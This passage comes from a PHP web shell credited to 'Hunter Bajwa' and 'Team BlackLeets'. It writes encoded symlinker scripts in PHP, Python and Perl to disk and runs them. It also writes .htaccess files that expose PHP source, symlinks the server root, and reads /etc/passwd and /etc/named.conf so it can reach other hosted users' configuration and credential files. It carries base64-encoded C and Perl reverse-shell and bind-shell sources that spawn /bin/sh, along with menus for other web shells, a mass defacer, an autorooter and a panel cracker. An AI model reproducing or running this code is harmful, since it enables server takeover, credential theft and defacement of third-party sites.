zZXIgLiAnL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTkudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCAkdXNlciAuICctNS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fQ2FydC50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCAkdXNlciAuICctaW52aXNpby50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsICR1c2VyIC4gJy03LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLTgudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCAkdXNlciAuICctbWstcG9ydGFsZTEudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywgJHVzZXIgLiAnLTEyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1TbWYudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW4xLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdkJ1bGxldGluMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWwzLVBocGJiMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWxsZXRpbjQudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCAkdXNlciAuICctbXliYi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLUNvbmZpZy1QaHBiYjEudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsICR1c2VyIC4gJy1waHBiYjMudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvb3BlbmNhcnQvYWRtaW4vY29uZmlnLnBocCcsICR1c2VyIC4gJy1PcGVuX2NhcnQyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FwcC9ldGMvY29uZmlnLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1EcnVwYWwudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZHJ1cGFsL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsKICAgIH0KICAgIGVjaG8gJzxiIGNsYXNzPSJjb25lIj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+PGI+Q29uZ3JhdHVsYXRpb24gPT0+PiA8L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJCYWp3YSI+PGZvbnQgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij5Db25maWcgbGlzdDwvYT48L2ZvbnQ+PC9iPic7Cn0KZWNobyAnPGJyPjxicj48YnI+PGJyPic7CmVjaG8gJyoqWyBVcGxvYWRlciBdKionOwplY2hvICc8YnI+PGJyPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiAoJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIpIHsKICAgIGlmIChAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgewogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJMYXduR3JlZW4iPlVwbG9hZCBTdWNjZXNzZnVsbHkhISEgPC9mb250PjwvYj48YnI+PGJyPic7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBGYWlsZWQhISEgPC9iPjxicj48L2ZvbnQ+JzsKICAgIH0KfQo/Pjxicj48YnI+CjxkaXYgaWQ9Im5hbWUiPiZjb3B5OyA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vQmxhY2tMZWV0czEzMzcvIiB0YXJnZXQ9Il9ibGFuayI+VGVhbSBCbGFja0xlZXRzPC9hPi4gQ29kZWQgJiBNb2RpZmllZCBCeSA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vSHVudGVyQmFqd2FPZmZpY2lhbC8iIHRhcmdldD0iX2JsYW5rIj5IdW50ZXIgQmFqd2E8L2E+ICYgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0h1bnRlci5CYWp3YTEzMzciIHRhcmdldD0iX2JsYW5rIj4hISEhPC9hPjwvZGl2Pgo8L2JvZHk+PC9odG1sPg==";
2781 $Hunter_Bajwa_symlink = fopen("symlinker.php", "w");
2782 @fwrite($Hunter_Bajwa_symlink, htmlspecialchars_decode(gzinflate(base64_decode($php_symlinker))));
2783 @fclose($Hunter_Bajwa_symlink);
2784 chmod("symlinker.php", 0755);
2785 ?>
2786 <center>
2787 <iframe src="symlinker.php" width="100%" height="600"></iframe>
2788 </center>
2789 <?php
2790 }
2791
2792
2793 if(isset($_POST['p1']) && $_POST['p1']=='python')
2794 {
2795 $htsyma = "eJydVNtu2zgQfY4B/wPLRWo7caSkl31wJAPeBt0NsEULZN/qoqDEUcWGIgWSrq0+9Ns7Q1tyr4uifhCHw8O5nDn0H+nZqy7U1oxH45FqWusCC6qBYWP9YPruaDugC9Yn6AzQTHlptXXsGZ+Rvw6C5YyvzXOlgS1Ygo6yBO9ZmrJnDkQAye420VVttO4erA0fjyq6tNKavXKWjsCzG2sAD++6Ritzz/7qWoH+H11unTKBch7tT/zsz8th93UM9ujy6gkrOlavdi8dC+7y/cqcseNl9tXvroVSCc3+dgDhIwsWu3ohNk4FYZRgq4AN3oNjD9mHW3d/K78rIpLViHuQyvnpJLj3ZjeZRW9Zo+8L13jkN97lr9+goQLsovUF1dqwC2QSa07CLhwYJ+petkFZ49mtkbBD8p5bre0W+/4X+/Zrc6MclMG6LgLofluHRq/NSsr/uhYYhmPoa6PnH2GkxpZ6J7bUYBbbgpnyYaJ8zrfnVEOTbJENmNbRLrX1MJ31LCA69hUnnFHSZRZU0LD8lalk6R6blWACuGVWWYwZFZcXGolnXn2E/OmPgmVFj4+YJ8sXQgICvpk7wW4lCDr5n7neZCnFWvZL8dNiHmODosCieZx9T9wkhVCmVN1WTuYTFyWQ2wTfhCS6COggqZSRQmuE17aBdL09n8xtHHSFr2yH8mDKMLsYj05ok9MHY7SYH/pLGJ6in5CYEtFidjkl3DAUfsHPHqM0d6QyKtAnWvlAYuTpB+FSIxqQ/Jh2D8TE0YjJo5Xvl6EAnsgCdcFjdlLwkD7ihgIqNESoc0z8DmnZRgZUxXjabgqtyrcklJRTRsJRwoj/5nw8Au2hPyWFpf1BaTekmPwK47Y+32u31z1Jl2rEk4N2fTU0Wx04JvYodPT1/cemyHtSbXJCvr5cPH1De59H0LDHbhCS+wg+OWbiWUDpBMl86DTkpKGLSjRKd4tSaFU4dR19W1Dv6rAorJbXUWOLqLHr5anHVyF/L4QD+bsBlplgtYMq3//57JV26k89C8LhEPO3WB++wBheLGMKfjo9zGFOXO0/NKp55Go2i9z0ozqs51efAVOkH/Q=";
2796
2797 $lelwasym = gzuncompress(base64_decode($htsyma));
2798 $fp122 = fopen('y.py','w');
2799 $fw1111 = fwrite($fp122,$lelwasym);
2800 @fclose($fw1111);
2801 ?> <?php
2802 $eaacho = system("python y.py"); echo "$eaacho"; echo "<center><iframe src='trjnx' height='400' class='lel' width='600'></iframe></center>";
2803 @unlink ('y.py');
2804 }
2805 if(isset($_POST['p1']) && $_POST['p1']=='perl')
2806
2807 {
2808 $plsym = "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";
2809
2810$lelwasym = gzuncompress(base64_decode($plsym));
2811 $fp1212 = fopen('sym.pl','w');
2812 $fw11111 = fwrite($fp1212,$lelwasym);
2813 @fclose($fw11111);
2814 chmod("sym.pl",0755);
2815 ?><br><center><iframe src="sym.pl" height="400" class="button" width="600"></iframe></center><?php }
2816 if(isset($_POST['p1']) && $_POST['p1']=='phpsym')
2817 {
2818
2819
2820error_reporting(0);
2821ob_start();
2822
2823$dir = "sec1";
2824@mkdir($dir);
2825if($dir){
2826} else {
2827}
2828$dir2 = "sec2";
2829@mkdir($dir2);
2830if($dir2){
2831} else {
2832}
2833$dir3 = "sec3";
2834@mkdir($dir3);
2835if($dir3){
2836} else {
2837}
2838$dir4 = "sec4";
2839@mkdir($dir4);
2840if($dir4){
2841} else {
2842}
2843$dir5 = "sec5";
2844@mkdir($dir5);
2845if($dir5){
2846} else {
2847}
2848$dir6 = "sec6";
2849@mkdir($dir6);
2850if($dir6){
2851} else {
2852}
2853$dir7 = "sec7";
2854@mkdir($dir7);
2855if($dir7){
2856}
2857else {
2858}
2859
2860
2861
2862$sec1 = "sec1/.htaccess";
2863$hsec1 = fopen($sec1, 'w') or die("Error: Can't open file");
2864$con1 = "Options Indexes FollowSymLinks
2865DirectoryIndex ssssss.htm
2866AddType txt .php
2867AddHandler txt .php
2868AddType txt .html
2869AddHandler txt .html
2870Options all
2871Options
2872Allow from all
2873Require None
2874Satisfy Any";
2875fwrite($hsec1, $con1);
2876fclose($hsec1);
2877
2878
2879
2880$sec2 = "sec2/.htaccess";
2881$hsec2 = fopen($sec2, 'w') or die("Error: Can't open file");
2882$con2 = "Options +FollowSymLinks
2883DirectoryIndex seees.html
2884RemoveHandler .php
2885AddType application/octet-stream .php ";
2886fwrite($hsec2, $con2);
2887fclose($hsec2);
2888
2889
2890$sec3 = "sec3/.htaccess";
2891$hsec3 = fopen($sec3, 'w') or die("Error: Can't open file");
2892$con3 = "Options +FollowSymLinks
2893DirectoryIndex Index.html
2894Options +Indexes
2895AddType text/plain .php
2896AddHandler server-parsed .php";
2897fwrite($hsec3, $con3);
2898fclose($hsec3);
2899
2900$sec4 = "sec4/.htaccess";
2901$hsec4 = fopen($sec4, 'w') or die("Error: Can't open file");
2902$con4 = "Options Indexes FollowSymLinks
2903DirectoryIndex ssssss.htm
2904AddType txt .php
2905AddHandler txt .php";
2906fwrite($hsec4, $con4);
2907fclose($hsec4);
2908
2909$sec5 = "sec5/.htaccess";
2910$hsec5 = fopen($sec5, 'w') or die("Error: Can't open file");
2911$con5 = "Options all
2912DirectoryIndex Sux.html
2913AddType text/plain .php
2914AddHandler server-parsed .php
2915AddType text/plain .html";
2916fwrite($hsec5, $con5);
2917fclose($hsec5);
2918
2919
2920$sec6 = "sec6/.htaccess";
2921$hsec6 = fopen($sec6, 'w') or die("Error: Can't open file");
2922$con6 = "Options +FollowSymLinks
2923DirectoryIndex Sux.html
2924Options +Indexes
2925AddType text/plain .php
2926AddHandler server-parsed .php
2927AddType text/plain .html";
2928fwrite($hsec6, $con6);
2929fclose($hsec6);
2930
2931$sec7 = "sec7/.htaccess";
2932$hsec7 = fopen($sec7, 'w') or die("Error: Can't open file");
2933$con7 = "Options Indexes FollowSymLinks
2934AddType text/plain .php .inc .asp .php3
2935Options All
2936Options All";
2937fwrite($hsec7, $con7);
2938fclose($hsec7);
2939
2940
2941
2942for ($k=1;$k<8;$k++){
2943if("$fp$k"){
2944chdir('sec'.$k);
2945system('ln -s / 1.txt');
2946chdir('../');
2947}
2948else{ echo "Error";
2949}
2950}
2951
2952echo "<center><table border='1' align='center' width='80%'><h3><td><a>User</td></a><td><a>Sym</a></td></h3></center>";
2953$file = file('/etc/passwd');
2954if(!$file)
2955{
2956
2957 die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
2958}
2959else
2960{
2961foreach ($file as $f){
2962
2963 $u=explode(':', $f);
2964 $user = $u['0'];
2965 echo "<tr><td>".$user."</td><td><a href='sec1/1.txt/home/".$user."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user."/public_html/' >Sym7</a></td></tr>";
2966}
2967}
2968 }
2969
2970
2971 if(isset($_POST['p1']) && $_POST['p1']=='phpsym1')
2972 {
2973
2974
2975 echo "<center><table border='1' align='center' width='80%'><h3><td><a>Domains</td></a><td><a>User</a></td><td><a>Sym</a></td></h3></center>";
2976if(!is_file('DATA.txt')){
2977$named = @file("/etc/named.conf");
2978}else{
2979$named = @file("DATA.txt");
2980}
2981if(!$named)
2982{
2983
2984 die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
2985}
2986else
2987{
2988foreach($named as $dom){
2989preg_match_all('#zone "(.*)"#', $dom, $doms);
2990if(strlen(trim($doms[1][0])) > 2){
2991$user = posix_getpwuid(@fileowner("/etc/valiases/".$doms[1][0]));
2992echo "<tr><td><a href=http://www.".$doms[1][0]."/>".$doms[1][0]."</a></td><td><a>".$user['name']."</a></td><td><a href='sec1/1.txt/home/".$user['name']."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user['name']."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user['name']."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user['name']."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user['name']."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user['name']."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user['name']."/public_html/' >Sym7</a></td></tr>";
2993}
2994}
2995}
2996 } printFooter();
2997 }
2998
2999function actionImportScripts() {
3000 printHeader();
3001echo '<center><br><h1>Shells By Hunter Bajwa</h1></center><div class="content">
3002<br>
3003<table border="1%" align="center" cellpadding="10">
3004<tr>
3005<td>Click And Get The Shells</td>
3006<tr><td>
3007<form action="" method="post">
3008<input type = "submit" name="dhanush" value ="Dhanush Shell">
3009</td></tr>
3010<tr><td>
3011<form action="" method="post">
3012<input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
3013<tr><td>
3014<form action="" method="post">
3015<input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
3016<tr><td>
3017<form action="" method="post">
3018<input type = "submit" name="imageshell" value ="Hunter Bajwa Image Shell"></td></tr>
3019<tr><td>
3020<form action="" method="post">
3021<input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
3022<tr><td>
3023<form action="" method="post">
3024<input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
3025<tr><td>
3026<form action="" method="post">
3027<input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
3028<tr><td>
3029<form action="" method="post">
3030<input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
3031<tr><td>
3032<form action="" method="post">
3033<input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
3034<tr><td>
3035<form action="" method="post">
3036<input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
3037
3038
3039
3040
3041
3042
3043 printFooter();
3044}
3045
3046
3047
3048function actionImportTools () {
3049 printHeader();
3050 echo '<center><h1>Tools By Hunter Bajwa</h1></center><div class="content">
3051<br>
3052<table border="1%" align="center" cellpadding="10">
3053<tr>
3054<td>Just Click And Get The Tools</td>
3055<tr><td>
3056<form action="" method="post">
3057<input type = "submit" name="symlinker" value ="Hunter Bajwa Symlinker"></td></tr>
3058<tr><td>
3059<form action="" method="post">
3060<input type = "submit" name="mass" value ="Wordpress Mass Defacer"></td></tr>
3061<tr><td>
3062<form action="" method="post">
3063<input type = "submit" name="zone" value ="Zone-h Mass Notifier"></td></tr>
3064<tr><td>
3065<form action="" method="post">
3066<input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
3067<tr><td>
3068<form action="" method="post">
3069<input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
3070<tr><td>
3071<form action="" method="post">
3072<input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
3073<tr><td>
3074<form action="" method="post">
3075<input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
3076 printFooter();
3077}
3078
3079
3080function actionBackConnect() {
3081 printHeader();
3082 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
3083 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
3084 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
